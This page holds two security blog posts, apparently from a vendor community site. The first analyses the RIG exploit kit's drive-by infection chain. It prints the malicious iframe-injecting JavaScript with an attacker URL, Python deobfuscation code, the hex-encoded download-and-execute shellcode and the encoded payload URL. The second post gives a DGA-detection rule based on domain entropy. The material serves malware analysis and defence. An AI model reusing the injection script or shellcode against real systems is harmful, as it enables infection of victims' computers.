  • Indicators of compromise – RIG EK related domain names and IP addresses were added to Live, you can find them under the threat description: ‘rig-ek’.
  • A network parser will be released at a later date.


The Hidden Mechanics

RIG EK uses a traditional drive-by landing page in order to compromise the victim’s computer.

The drive-by infection can be broken down to the following 4 stages.


Stage 1 - Delivery

The victim enters a rigged landing page, the victim’s browser sends an http request and receives the landing page in response.



The seemingly innocent page contains some Javascript code which injects a hidden iframe.



which contains the following Javascript injects an iframe with content from a different page.


<script type="text/javascript">
var srmzzx = "http://acc.ARABICDESSERT.CO/?xXmNd7GZJBvGDoQ=l3SKfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ZGdFbNt3lqhmbgdeZohk0eEuGBRxe9LVwkT6A0Wm6rNBKqE";
var hjjcyb = document.createElement("iframe"); = "10px"; = "16px"; = "0px";
hjjcyb.frameBorder = "0";
hjjcyb.setAttribute("frameBorder", "0");
hjjcyb.src = srmzzx;


The iframe’s src property is set to "hxxp://acc.ARABICDESSERT.CO/?xXmNd7GZJBvGDoQ=l3SKfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ZGdFbNt3lqhmbgdeZohk0eEuGBRxe9LVwkT6A0Wm6rNBKqE" which is the next stage’s url.


The second http request receives a gzipped page as a response.



After decompressing the gzipped html we get an html page with obfuscated Javascript.



The Javascript extracts the base64 blob and removes all instances of “fdffghe” in the string, we are able to decode it and reveal the next Javascript which downloads and embeds a flash object into the iframe’s html body.




This Javascript embeds a Flash object in the page and passes some data to the Flash object through a parameter named 'iddqd'.


The parameters passed to the function ‘sdvbv’ are:

  • fu - a url to .swf file "hxxp://"



Finally the last http request is sent to the server and the response is the flash object itself which is downloaded and embedded in the html.



the .swf allows the attackers to execute code on the victim’s machine exploiting a UAF vulnerability in Flash, the .swf also contains the download and execute payload except for the URL for the malware’s executable file which is passed to the Flash object as a parameter through the iddqd argument (In encoded format) as we will see later.


Stage 2 – Peeling The Onion

The exploit is wrapped in multiple layers of obfuscation, in this stage we will peel off these layers until we get to the final .swf that contains the exploit’s code.


The first .swf file contains ActionScript and some embedded binary data.

The ActionScript uses zlib to decompress the embedded binary data and performs a loop to decode the data using XOR with a value of 0 (32 % 8 = 0) which means the data actually stays without any change (it is unclear if this method is supposed to confuse or slow down researchers or it originates from a misconfiguration of the exploit builder).



We used this small piece of Python code to decompress the data:


from zlib import decompress
data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
open('decoded1.bin', 'wb').write(decompressed)

After decoding the embedded binary data we find another .swf, this time with a more complex obfuscation method and some evidence of a commercial obfuscator called  "SWFLock".



If we look closely at the code it is evident that we have a base64 implementation.



In this next part here we can see how the next .swf is decoded first by using zlib (again) to decompress the data, then slicing the decompressed data into two parts and then base64 decoding the first part and using the second part as a XOR key for the decoded output.


Once again we use Python to overcome this obfuscation.

from zlib import decompress
from base64 import b64decode

data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
b64encoded = decompressed[:-16]
key = decompressed[-16:]
b64decoded = b64decode(b64encoded)

xorDecoded = ''
for i in xrange(len(b64decoded)):
     xorDecoded += chr(ord(b64decoded[i]) ^ ord(key[i % len(key)]))

open('decoded2.bin', 'wb').write(xorDecoded)

Stage 3 – The Exploit

This is the final .swf and this time it is very obfuscated with very annoying names for classes, variables, functions etc. and more than 20 classes and 5 embedded binary data objects with hints of RC4, AES and other encryption algorithms as well as other tricks.


After analyzing each one of the classes and refactoring most of the compiled code to meaningful naming convention, bit by bit things start to make some sense.


Each one of the binary data objects is represented by a class, and the decryption and access to the data is managed in 2 other classes which we conveniently named dataBin1 and dataBin2.


The method we renamed to getValue, is used to decrypt all values on first access and then returns the value for the index of its argument, XOR-ed with a class member’s value which we renamed to xorValue, and is initialized with a fixed value of 0x93806237.



dataBin1.values : Array {
     0 : "VirtualProtect"
     1 : "writeUnsignedInt"
     2 : "0x"
     3 : "dows"
     4 : "clear"
     5 : "littleEndian"
     6 : "addedToStage"
     7 : "timerComplete"
     8 : "t"
     9 : "activex"
     10 : "win "
     11 : "plugin"
     12 : " 8.1"
     13 : "domainMemory"
     14 : "param"
     15 : " 8"
     16 : "win"
     17 : "kernel32.dll"
     18 : " 10"

dataBin2.values : Array {
          0 : "za1sdLMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
          1 : "za1sd0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          2 : "za1sd0x"
          3 : "littleEndian"
          4 : "iddqd"
          5 : "60eb1158b9d1040000498034081985c975f7ffe0e8eafffffff11f19191978f0dc1d191998f5c51919194a4c4f2ac24ea04b087652de5d3d016c6b7574de5d3d057677377d7fde5d3d39757591453d3bde5d3d3d787d6f78de5d3d3169702a2bde5d3d35377d757591453d29f1851a1919a00b7b3067905d3d4df1971a1919a0dae42868905d3d79f1991a1919a0728dc2e6905d3d7df16b1a191992e1a0bc01234390653d71f17b1a191992e9a034363f66906d3d6df14b1a1919a02f5a2f4f905d3d61f15d1a1919a0a5f832f3905d3d65f12f1a1919a0dd7cb054909d3d99191919f13c1a1919a0dacb1cfc909d3d9d191919f10d1a1919a0538dafd0909d3d91191919f11a1a1919a056f5ce4c909d3d95191919f1eb1b1919909d3d89191919945d3d0149e6cf945d3d3d49e6cfa09f8b3363f1ca1b1919a01ba9709d909d3d81191919f1db1b1919a033a4d3b8909d3d85191919f1a81b1919909d3db9191919f16e1a191992f190753d2d935ce5efc9915d3d0a90453d2190453d2590453d59731d7119091919711d1c19194ae6ce92e1937d3d0a92cc2aef9486191d191992d632ce931d132bdd91186d135f5898e7191d19196ff49cef169d3918191992de2ad09921196d01905d9521930999e3226d1e599dcb6cedf212df191959f21c9a7d952119589ae01a6bc192753d21935c1925286d11252b169cf8191919924d3d254ae66d3d5d94553d45f1c319191940409cd9169dbd191919935c192528169c89191919735d2acb44904d3d0d92d4949d3db1191919910959506ce3730940945d3d5d910959506ce3945d3d0d49719219191973e690b53dad191919e68d3dbd191919945d3d5d49949d3db5191919492ad9494949494949494ae66d3d25e68d3dd11919199a653d0d196d11e66d3d0de64d3d7d9a653d51196d11e66d3d51e64d3d7d9a653d5d196d0ae66d3d5de64d3d7df210252b6c1c4ae64d3d6192753d2d71199919192ac25c4a1af74e90753d59e64d3d6992653d71f0bbe7e6e64647444298ddc5191919da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a21e66d3d314e4e4fe64a2571199919194e4fe64a094e4ee66d3d29e66d3d294ee64a559cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a3592e99ae7e6169d821919194e4fe64a29905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a3d925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a2d4e945d3d0d49e66d3d014c4fe64a3171199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c6f119191919419ad913dadae6e6e6e6"

The entrypoint for the .swf is the Main function in Main class, this type of Main function is pretty standard for AS3.



The Main function calls init() which is first reading the value for ‘iddqd’ that was passed from the HTML through the embedded .swf object’s FlashVars in the landing page’s HTML.



Next the parameter string is decoded with the following logic which we replicated using Python.



def decode(iddqd):
     key = "LMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
     result = ''
     for i in iddqd:
          result += "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[key.find(i)]
     return result



The returned string value of: '28226f6e54525a6e6e5822716d6d692336367d7f3770777d70786a6e7c7c6d6a78777d7e6b767a7c6b60377a76743670777d7c613769716926614174577d2e5e4355612a575a507a24752a4a547f496b7f5361635f5e544a4c7b3477535d78205b545c415a4b485549712d4a5e71526b415a5334767f4a7071282e56505f61636a744d6c2b524f46566968616f7c57294a435f4a5663487f43494f48756043587d5a71765b4656687270296f51734c7751287a744820757851407e71492e437b5d5c2e722c737e6c74612e504d7a21712b615c525f2f5d7d4e7734544c4c4f544d2d6e575175522b7c5b5268526929572f4b7e5b775c5b465a7b534875686e347f5c5a4d2f4941752c7e6f2b6951772d76707c4e4146494361776921692a75543f7d7f7e6a7d7f242b20292c19191900000000' is then concatenated at the end of the shellcode string found in dataBin2[5] and sent to method_58 as an argument.



The shellcode string is then unhexlified and sent to a class we called enumerateExploitable, as we can see in its constructor the shellcode is saved in a class member variable, right before the enumerateSystem() method is invoked.



enumerateSystem() like many other methods in this class is used to fingerprint the victim’s machine in order to determine whether the victim’s machine is exploitable and which of the exploits to use.


The fingerprinting includes:

  • Whether the .swf is running in a debugger
  • OS version
  • Whether the flash player is ActiveX, Plugin, or a Standalone player
  • Flash version



The code exploits an Integer Overflow vulnerability as described in CVE-2015-8651 that was ripped off Angler EK.




Eventually after the vulnerability is triggered the shellcode is executed.


Stage 4 – The Payload          

The exploit’s payload is a piece of shellcode that is supposed to download the encoded URL that was passed from the landing page’s body and attached at the end of the shellcode and execute it on the victim’s machine in order to infect it, the final malware payload can be anything from Ransomware to Banking Trojan to RAT according to the EK operator’s goals on the victim machine.


The shellcode’s execution starts by pushing all registers and jumping to another location.

Next, it calls a decoding stub which will decode all the following 0x4d1 bytes after the call by XOR-ing it with 0x19 and then will eventually jump back to the decoded instructions location.



The encoded instructions are located right after the call to the decode stub.



After decoding the instructions, notice that after the call to downloadAndExecute the registers are restored to their original state from the stack in order to cleanly exit and avoid crashing the client.



The main payload is Download & Execute, first some Windows API function addresses are resolved by calling the resolveFunctionAddress function with a function hash as a parameter.



The resolveFunctionAddress uses the Windows PEB structure in order to iterate through the loaded modules to find the Kernel32 module and resolve functions from that modules export address table.



After resolving LoadLibrary, ‘urlmon.dll’ and ‘advapi32.dll’ are loaded and more functions are resolved from the newly loaded modules including URLDownloadToFileA.



Next the function getAddressOfEncodedUrl is called in order to determine the address for the encoded bytes that were concatenated at the end of the shellcode at the beginning of Stage 3.



The URL is decoded with a simple XOR loop with the value of 0x19 which is loaded into ah register.



After decoding the encoded bytes we can see clearly 3 values separated by ‘;’:



The URL is later passed to urlDownload in order to save the malware executable to a file in a temporary path.



Lastly the downloaded file is executed by calling CreateProcessAsUserA



We have monitored many different malware families infections using the RIG EK including many Ransomware infections.



Lee Kirkpatrick

DGA Detection

Posted by Lee Kirkpatrick Employee Feb 1, 2017

In one of my previous posts (Shannon. Have you seen my Entropy?) I touched on using a custom Java entropy calculator within the ESA to calculate the entropy values for domains to assist with detecting Domain Generation Algorithms (DGA's); the post was more theory than practical so I decided to implement and test it in my lab so I could share the implementation with you all.


The basic principle behind this form of DGA detection is to calculate an entropy value for each domain seen and store this value in an ESA window. We can then use the values in the ESA window to calculate an average entropy for the domains seen within an environment, this subsequently allows an alert to be generated if any domains exceed the average entropy by 1.3x.


As an example, let's take the following four domains from the Alexa top 100 (this will be what we use as an example baseline, the rule attached to this post would actually monitor your network for what is normal):-




Running these each through the entropy calculator we receive the following values:-




Using this average as our baseline, we can then say that anything that is greater than 1.3x (3.87861981324625) this average, let me know about it as this is a high entropy value.


Taking the following values from Zeus tracker and calculating their entropy values, we can see the results:-


3.754441845713345No alert


Example of the alert output below:-



Rule Logic

@Name('Learning Phase Variable')
//Change the learningPhaseMinutes variable to the number of minutes for the rule to learn
CREATE VARIABLE INTEGER learningPhaseMinutes = 1440;


@Name('Calculate Learning Phase')
on pattern[Every(timer:at(*, *, *, *, *))] set learningPhaseMinutes = learningPhaseMinutes - 1;


@Name('Create Entropy Window')
CREATE WINDOW (entropy double);


@Name('Insert entropy into Window')
INSERT INTO aliasHostEntropy
SELECT calcEntropy(alias_host) as entropy FROM Event(alias_host IS NOT NULL AND learningPhaseMinutes > 1);


SELECT *, (SELECT avg(entropy) FROM aliasHostEntropy as Average), (SELECT calcEntropy(alias_host) FROM as Entropy) FROM Event(learningPhaseMinutes <= 1 AND calcEntropy(alias_host) > 1.3* (SELECT avg(entropy) FROM aliasHostEntropy));



If you are interested in implementing this DGA Detection rule, I wrote up a little guide on how to do so. Everything you need is attached to this post.


DISCLAIMER: The information within this blog post is here to show the capabilities of the NetWitness product and avenues of exploration to help thwart the adversary. This content is provided as-is with no RSA direct support, use it at your own risk. Additionally, you should always confirm architecture state before running content that could impact the performance of your NetWitness architecture. 

Filter Blog

By date: By tag: